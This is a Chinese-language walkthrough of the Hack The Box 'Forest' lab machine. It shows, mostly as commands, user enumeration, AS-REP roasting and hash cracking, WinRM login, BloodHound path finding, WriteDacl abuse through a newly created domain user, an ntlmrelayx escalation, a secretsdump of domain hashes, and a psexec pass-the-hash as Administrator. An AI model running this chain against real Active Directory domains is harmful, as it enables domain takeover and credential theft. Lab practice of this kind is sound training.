nmap扫描
先看看http端口
从上往下尝试
53端口DNS解析可以爆破子域名
在389端口扫描信息中发现一个域名,利用nslookup可以查看解析
但这里没有http服务,爆破子域名意义不大,将其添加到hosts文件
88端口可以用kerbrute进行枚举
https://github.com/ropnop/kerbrute
./kerbrute_linux_amd64 userenum --dc 10.10.10.161 -d htb.local /usr/share/wordlists/wfuzz/others/names.txt
枚举出了一堆用户名
在进行389端口ldap测试
ldapsearch -x -H ldap://10.10.10.161 -b "DC=htb,DC=local" -s sub
太多了,过滤一下
ldapsearch -x -H ldap://10.10.10.161 -b "DC=htb,DC=local" -s sub|grep -i account
发现一个疑似用户名,再用kerbrute测试一下
确实存在
尝试获取票据
https://github.com/fortra/impacket/blob/master/examples/GetNPUsers.py
python getnpuser.py -dc-ip 10.10.10.161 htb.local/svc-alfresco -request
密码直接回车为空
尝试爆破一下密文
通过特征查找密文类型
hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt
得到明文密码
用该账户的用户名和密码去测试445端口smb服务
smbmap -H 10.10.10.161 -u svc-alfresco -p s3rvice
发现共享文件夹,两个无权限,三个有读权限
如果admin目录拥有可读写权限的情况,可以使用psexec.py进行登录
https://github.com/fortra/impacket/blob/master/examples/psexec.py
python psexec.py -dc-ip 10.10.10.161 htb.local/svc-alfresco:s3rvice@10.10.10.161
查看其他目录
最终发现SYSVOL下有文件
smbclient //10.10.10.161/SYSVOL -U svc-alfresco%s3rvice
https://adsecurity.org/?p=2288
在Policies下,可能会存在一个xml文件,文件中会包含账户和明文密码
但这里并没有
得到了明文密码,尝试利用evil_winrm通过5985端口进行登录
evil-winrm -u svc-alfresco -p s3rvice -i 10.10.10.161
提权
使用BloodHound进行域控的信息收集
https://blog.csdn.net/qq_48904485/article/details/124403996
https://github.com/BloodHoundAD/SharpHound
该说不说,这玩意有点折腾
将收集信息的exe程序上传到靶机
upload SharpHound.exe
运行即可
运行结束后,会在当前目录生成一个zip压缩包
将压缩包下载到本地
download 20230430003452_BloodHound.zip
将压缩包上传到BloodHound中
在点击
这里会给出当前用户所在组以及更高一层组,直到域控制器的路线图
在HTB.LOCAL的域控制器前一步,看到一个EXCHANGE WINDOWS对其拥有WriteDacl权限
这个权限可以对域控制器上的所有DACL进行读写修改
先创建一个普通用户
net user test123 1qaz@WSX /add /domain
在将用户添加到Exchange Windows Permissions
组和远程登录的Remote Management Users
组中
一个是域内的拥有DACL读写权限的组,一个是本地的远程登陆的组
net group 'Exchange Windows Permissions' test123 /add /domain
net localgroup 'Remote Management Users' test123 /add
在利用创建好的用户进行登录
evil-winrm -u test123 -p 1qaz@WSX -i 10.10.10.161
然后使用secretsdump.py
进行抓取administrator的哈希值密码
https://github.com/fortra/impacket/blob/impacket_0_9_22/examples/secretsdump.py
但是貌似无用
得先用ntlmrelayx.py
进行一个类似建立连接的做法
https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py
python ntml.py -t ldap://10.10.10.161 --escalate-user test123
之后访问localhost:80
在这输入test123的账户和密码
在尝试获取哈希值
python3 dump.py htb.local/test123@10.10.10.161 -dc-ip 10.10.10.161 -just-dc
利用psexec.py使用哈希值登录
python psexec.py htb.local/administrator@10.10.10.161 'powershell.exe' -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
就是这shell有点奇奇怪怪的
其实evil和psexec这些,kali都是自带的,在impacket套件里面。。